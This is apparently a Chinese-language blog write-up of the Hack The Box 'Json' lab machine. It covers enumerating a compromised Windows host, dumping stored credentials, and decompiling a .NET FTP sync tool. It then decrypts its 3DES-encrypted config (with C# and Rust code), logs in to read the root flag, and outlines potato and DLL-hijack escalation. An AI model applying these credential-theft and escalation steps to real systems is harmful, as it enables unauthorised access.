PS C:\> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:21             0.0.0.0:0              LISTENING       844
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       592
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING       396
  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING       736
  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING       768
  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING       532
  TCP    0.0.0.0:49156          0.0.0.0:0              LISTENING       492
  TCP    0.0.0.0:49157          0.0.0.0:0              LISTENING       1592
  TCP    0.0.0.0:49158          0.0.0.0:0              LISTENING       500
  TCP    10.129.167.171:139     0.0.0.0:0              LISTENING       4
  TCP    10.129.167.171:49554   10.10.14.5:80          ESTABLISHED     2460
  TCP    127.0.0.1:14147        0.0.0.0:0              LISTENING       844
  TCP    [::]:21                [::]:0                 LISTENING       844
...

PS C:\> certutil.exe -urlcache -f http://127.0.0.1:14147
****  Online  ****
  0000  ...
  011f
    0000  46 5a 53 00 04 00 60 09  00 00 04 00 40 01 00 01   FZS...`.....@...
    0010  00 00 00 00 06 7e 00 00  00 01 59 6f 75 20 61 70   .....~....You ap
    0020  70 65 61 72 20 74 6f 20  62 65 20 62 65 68 69 6e   pear to be behin
    0030  64 20 61 20 4e 41 54 20  72 6f 75 74 65 72 2e 20   d a NAT router.
    0040  50 6c 65 61 73 65 20 63  6f 6e 66 69 67 75 72 65   Please configure
    0050  20 74 68 65 20 70 61 73  73 69 76 65 20 6d 6f 64    the passive mod
    0060  65 20 73 65 74 74 69 6e  67 73 20 61 6e 64 20 66   e settings and f
    0070  6f 72 77 61 72 64 20 61  20 72 61 6e 67 65 20 6f   orward a range o
    0080  66 20 70 6f 72 74 73 20  69 6e 20 79 6f 75 72 20   f ports in your
    0090  72 6f 75 74 65 72 2e 06  44 00 00 00 01 57 61 72   router..D....War
    00a0  6e 69 6e 67 3a 20 46 54  50 20 6f 76 65 72 20 54   ning: FTP over T
    00b0  4c 53 20 69 73 20 6e 6f  74 20 65 6e 61 62 6c 65   LS is not enable
    00c0  64 2c 20 75 73 65 72 73  20 63 61 6e 6e 6f 74 20   d, users cannot
    00d0  73 65 63 75 72 65 6c 79  20 6c 6f 67 20 69 6e 2e   securely log in.
    00e0  06 3a 00 00 00 01 50 72  6f 74 6f 63 6f 6c 20 65   .:....Protocol e
    00f0  72 72 6f 72 3a 20 55 6e  6b 6e 6f 77 6e 20 63 6f   rror: Unknown co
    0100  6d 6d 61 6e 64 20 74 79  70 65 2c 20 63 6c 6f 73   mmand type, clos
    0110  69 6e 67 20 63 6f 6e 6e  65 63 74 69 6f 6e 2e      ing connection.
CertUtil: -URLCache command FAILED: 0x80072f78 (INet: 12152 ERROR_HTTP_INVALID_SERVER_RESPONSE)
CertUtil: The server returned an invalid or unrecognized response
...
PS C:\inetpub\wwwroot\jsonapp\dbdata> ls


    Directory: C:\inetpub\wwwroot\jsonapp\dbdata


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-ar--         5/23/2019  12:08 PM        350 userscredentials - Copy.json
-a---         8/12/2019  11:05 AM        472 userscredentials.json


PS C:\inetpub\wwwroot\jsonapp\dbdata> type *

   [
    {
      "Id": 1,
      "UserName": "puppet",
      "Password": "0571749e2ac330a7455809c6b0e7af90",
      "Name": "User Admin HTB",
      "Rol": "Administrator"
    },
    {
      "Id": 1,
      "UserName": "ansible",
      "Password": "84d961568a65073a3bcf0eb216b2a576",
      "Name": "User",
      "Rol": "User"
    }
  ]
/NIPCn7IDz/eBm3RkJRB/0fbUM8D69U/PBeyksExcqXNOPHCEt+9THcjFNTxAiTy/JtsBx2oy9nPJ05RFGLX2aAhIddIVgeM9CRNT2+ILr2uS3mwp+FSHYU2V1ulFwgDYv7kb+Wzaw/iwfq5Wf8zA15zBzmWgP2WjxvQTvIhor3eQBsQc851KkHjCVZrMi0FurubwZUTAxCWAQtc+WsguJTssEW69XRIUCqx63666jpnQji3wgRLzYCJ2nvdEJwgECWGWSWTkH6pQKgS+QiqjnPhXRbV3QnWY3oB4VhGNi+Joez+7M9fvWy8x36YOEKAiGohv+9OjYBvfPcCLyIX80f+99CD0l26D6duabrybvg27/2YhXQ3MuANTkoeZqXMIJZytHIbdbR4AyfTdNvUds5XGLZHjIxi3ZDXz5ffb+lIEh4jA1gMyJ5pbKilnv6b0vXFjAFjEKWxuaT42yddQw==
...
PS C:\inetpub\wwwroot\jsonapp\js> ls


    Directory: C:\inetpub\wwwroot\jsonapp\js


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-ar--         4/29/2019  12:22 PM      12990 angular-cookies.js
-ar--         4/29/2019   1:18 PM      85808 angular-file-upload.js
-ar--         4/26/2019  12:24 PM      59227 angular-route.js
-ar--         4/25/2019   1:07 PM     176592 angular.min.js
-ar--         5/23/2019   2:50 PM       2357 app.min.js
-ar--         4/25/2019  12:13 PM      55704 bootstrap.min.js
-ar--         4/29/2019   1:04 PM       1316 requestInterceptor.js
...
PS C:\inetpub\wwwroot\jsonapp> ls views


    Directory: C:\inetpub\wwwroot\jsonapp\views


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-ar--          5/6/2019   5:44 PM      76593 contacto.html
-ar--         4/26/2019   1:21 PM       1354 forgot.html
-ar--         4/26/2019   4:02 PM       1896 login.html
-ar--          5/6/2019   5:43 PM      80248 principal.html
-ar--         4/26/2019   4:06 PM          3 productos.html
-ar--         4/29/2019   2:45 PM        821 viewItems.html
...

非預設程式Sync2Ftp

經過深入探查,翻翻找找之後,在Program Files下發現一個名為Sync2Ftp的非預設程式,這可能是突破點。

Terminal
PS C:\> ls 'Program Files'


    Directory: C:\Program Files


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----          8/8/2019   7:04 PM            Common Files
d----        11/21/2014   6:24 AM            Embedded Lockdown Manager
d----          8/8/2019   7:04 PM            Internet Explorer
d----         5/22/2019   4:37 PM            MSBuild
d----         5/22/2019   4:37 PM            Reference Assemblies
d----         5/23/2019   3:06 PM            Sync2Ftp
d----         5/22/2019   4:28 PM            VMware
d----          8/8/2019   7:04 PM            Windows Mail
d----          8/8/2019   7:04 PM            Windows Media Player
d----          8/8/2019   7:04 PM            Windows Multimedia Platform
d----          8/8/2019   7:04 PM            Windows NT
d----          8/8/2019   7:04 PM            Windows Photo Viewer
d----          8/8/2019   7:04 PM            Windows Portable Devices
d----        11/21/2014   6:24 AM            WindowsPowerShell

Sync2Ftp資料夾底下包含主程式SyncLocation.exe以及其設定檔:

Terminal
PS C:\Program Files\Sync2Ftp> ls


    Directory: C:\Program Files\Sync2Ftp


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-ar--         5/23/2019   2:48 PM       9728 SyncLocation.exe
-a---         5/23/2019   3:08 PM        591 SyncLocation.exe.config

查看內容,發現設定檔裡面有加密後的FTP帳號密碼!

Terminal
PS C:\Program Files\Sync2Ftp> cat SyncLocation.exe.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <appSettings>
    <add key="destinationFolder" value="ftp://localhost/"/>
    <add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
    <add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
    <add key="minute" value="30"/>
    <add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
    <add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
  </appSettings>
  <startup>
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
  </startup>


</configuration>
...

解密SyncLocation.exe設定檔

設定檔的加密帳密,SyncLocation.exe程式本身當然沒有辦法使用,所以是必解密後,才能登入使用者同步資料。

為了分析程式如何解密密碼,將檔案下載回本機:

Terminal
┌──(kali㉿kali)-[~/…/ctf/htb/machines/json]
└─$ sudo impacket-smbserver shares . -smb2support
Terminal
PS C:\Program Files\Sync2Ftp> copy SyncLocation.exe \\10.10.14.5\shares\

Download Binary

順手檢視一下檔案:

┌──(kali㉿kali)-[~/…/ctf/htb/machines/json]
└─$ file SyncLocation.exe
SyncLocation.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

得知是.NET框架下的應用程式。

反編譯.NET程式

使用dnSpyEx反編譯SyncLocation.exe

目前只對解密有興趣,所以直接搜尋相關關鍵字:「Decrypt」 (快捷鍵:Ctrl+Shift+K ) ,結果到在 class Crypto下找到Decrypt()的解密函數。

DnspyEx showed Decrypt

經過閱讀程式碼,可知解密流程:

  1. Base64解密加密字串(如:4as8gqENn26uTs9srvQLyg==),與讀取SecurityKey
  2. useHashing確認是否使用使用MD5 hash
  3. 如果使用MD5,則將剛才SecurityKey(bytes)經過MD5,取得hash作為解密金鑰
  4. 使用ECB模式的Triple DES解密密文

現在只要實作一樣的解密流程,或是直接照抄程式碼,就可以解出密碼了!

但在這之前,要先確認是否使用MD5取得解密金鑰,使用Dnspy的「analyze」功能 ( Ctrl+Shift+R ), 尋找其他引用Decrypt()的函數。 結果在class Copy下找到解密user和password的邏輯, 且都使用MD5產生SecurityKey的hash做解密金鑰。

DnspyEx showed Copy

我本來想要練習手刻一個解密程式,但是TripleDESCryptoServiceProvider的實作方式好像和OpenSSL不一樣,直接炸鍋,所以先抄作業解密吧QQ

using System;
using System.Linq;
using System.Text;
using System.Security.Cryptography;
using System.Collections.Specialized;
using System.Configuration;

public class Program
{
    public static void Main()
    {
        Console.WriteLine("Username: " + Decrypt("4as8gqENn26uTs9srvQLyg==", true));
        Console.WriteLine("Password: " + Decrypt("oQ5iORgUrswNRsJKH9VaCw==", true));
    }

    public static string Decrypt(string cipherString, bool useHashing)
    {
        byte[] keyArray;
        byte[] toEncryptedString = Convert.FromBase64String(cipherString);
        byte[] resultArray;
        string key = "_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%";
        if (useHashing)
        {
            MD5CryptoServiceProvider hashmd5 = new MD5CryptoServiceProvider();
            keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(key));
            hashmd5.Clear();
        }
        else
        {
            keyArray = UTF8Encoding.UTF8.GetBytes(key);
        }

        TripleDESCryptoServiceProvider tdes = new TripleDESCryptoServiceProvider();
        tdes.Key = keyArray;
        tdes.Mode = CipherMode.ECB;
        tdes.Padding = PaddingMode.PKCS7;
        ICryptoTransform cTransform = tdes.CreateDecryptor();
        resultArray = cTransform.TransformFinalBlock(toEncryptedString, 0, toEncryptedString.Length);
        tdes.Clear();
        return UTF8Encoding.UTF8.GetString(resultArray);
    }
}
Username: superadmin
Password: funnyhtb
admin:admin
superadmin:funnyhtb

但後來還是成功用了!詳情請見 後記 - 手刻解密程式

FTP登入superuser

superuser登入FTP!

Terminal
┌──(kali㉿kali)-[~/…/ctf/htb/machines/json]
└─$ ftp -A ftp://superadmin:[email protected]
Connected to 10.129.233.21.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse ([email protected])
220 Please visit https://filezilla-project.org/
331 Password required for superadmin
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
200 Type set to I
ftp> less Desktop/root.txt
5472e5f9a3251abbe94294d4f34b1bfb

後記

可是我想要sHalL!

光FTP登入那flag還不夠,沒有shell怎麼行?

那就要再繼續觀察有什麼途徑能夠利用了。 剛才在內網探勘的時候,發現靶機對內開有FileZilla的管理port 14147,只要使用chisel等工具把port導出來,再用FileZilla連線就可以管理FTP了! 然後任意修改FTP帳號的 home directroy到C:\下,並給予讀寫權限,接下來就可以嘗試DLL挾持,或是使用DiagHub4等等攻擊。

第二提權路徑 🥔 ➡️ SHELL

DDDD,potato。

PS C:\inetpub\wwwroot\jsonapp> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

手刻解密程式

如果你問我一開始為啥不就直接使用C#寫,還自找麻煩挑其他語言和OpenSSL寫?理由很簡單,就是因為懶惰和不熟悉。
我不想安裝VS,或是在本機設定C#與.NET的環境,也不怎麼想學習C#,也就因此撞牆,外加自身開發經驗有限, 對加密演算法也不夠理解,一開始很單純的認為處理加解密不就是該採用OpenSSL打天下,但萬萬沒有想到不同函式庫的實作方式不同, 不是每次都可以輕鬆無痛的轉換。

TripleDESCryptoServiceProvider的問題

TL;DR

微軟的TripleDESCryptoServiceProvider對16-byte長的key採用EDE2模式(K1, K2, K1)。
如果你選的語言的OpenSSL函式庫沒有DES_ecb2_encrypt()(DES-EDE2)的函式,你必須自組24-byte長key, 再拋給DES-EDE3的函數。

TDES採用24-byte長的密鑰解密,因此當我們將MD5的hash(16 bytes)餵給OpenSSL的des_ede3_ecb()時太短而報錯, 若改使用openssl cli則不足長度補零,但key就不對了。

MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
array2 = md5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(text));
md5CryptoServiceProvider.Clear();
...
TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
tripleDESCryptoServiceProvider.Key = array2;

但微軟的TripleDESCryptoServiceProvider自動以Two-Key Triple DES (EDE2 or 2TDES)處理16-byte的短key, 也許這是常識,但官方文件沒有表明這點,這讓我很困惑。

超簡短TDES與EDE2的運作原理

基本概念
DES是一種對稱區塊加密法,將資料每64 bits分塊,其金鑰長56 bits(實際上是64 bits,因為之後加上8 bits奇偶校驗)。 但由於單一DES的不安全,所以後來開發強化版「三重DES(TDES)」。

EDE2 (雙金鑰三重DES)
EDE2是TDES的雙金鑰版本,其特點如下:

  • 使用兩把不同的金鑰 (K1和K2),總長度為112 bits (56 bits × 2)
  • 加密過程遵循"加密-解密-加密"模式:
\[ 密文 = E(K1, D(K2, E(K1, 明文))) \]

若只能用EDE3

如果你選的語言的OpenSSL函式庫沒有DES_ecb2_encrypt()(DES-EDE2)的函式,你必須從16-byte長key自組成24 bytes, 再拋給DES-EDE3的函數。

\[ tdes\_key = key[0..8] + key[8..16] + key[0..8] \]

以下是實作結果:

fn des_ede3_decrypt(encrypted_data: &[u8], key: &[u8]) -> Option<Vec<u8>> {
    if key.len() < 16 {
        eprintln!("DES-EDE requires 16-byte key.");
        return None;
    }
    let mut triple_des_key = Vec::with_capacity(24);
    triple_des_key.extend_from_slice(&key[0..8]);
    triple_des_key.extend_from_slice(&key[8..16]);
    triple_des_key.extend_from_slice(&key[0..8]);

    let cipher = Cipher::des_ede3_ecb();

    let mut crypter = Crypter::new(
        cipher,
        Mode::Decrypt,
        &triple_des_key,
        None,
    )
    .unwrap();

    let mut output = vec![0; encrypted_data.len() + cipher.block_size()];
    let count = crypter.update(encrypted_data, &mut output).unwrap();
    let rest = crypter.finalize(&mut output[count..]).unwrap();

    output.truncate(count + rest);
    Some(output)
}

Sync2FtpDecryptor.exe Source

蛤,為啥要用rust寫? 因為我在學啊! 現在可以明白我當初為啥不想再多學一個C#了吧?!


  1. Conditionals類型的HTTP header之一,瀏覽器可以使用If-Modified-Since標頭,在後續請求中要求伺服器提供指定日期後更變的資料內容。Last-Modified - MDN Web Docs 

  2. Conditionals類型的HTTP header之一,瀏覽器可以使用If-None-Match標頭檢查資源是否已變更。ETag- MDN Web Docs 

  3. .NET Deserialization - Payloads All The Things 

  4. 微軟在Windows 10之後加入DiagHub (Microsoft (R) Diagnostics Hub Standard Collector Service),本來是用於蒐集診斷日誌的服務,但具有任意執行System32底下DLL的功能,就能與任意寫入權限一同濫用提權。 Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - Project Zero 


Last update: 2025-05-21 Created: 2025-05-21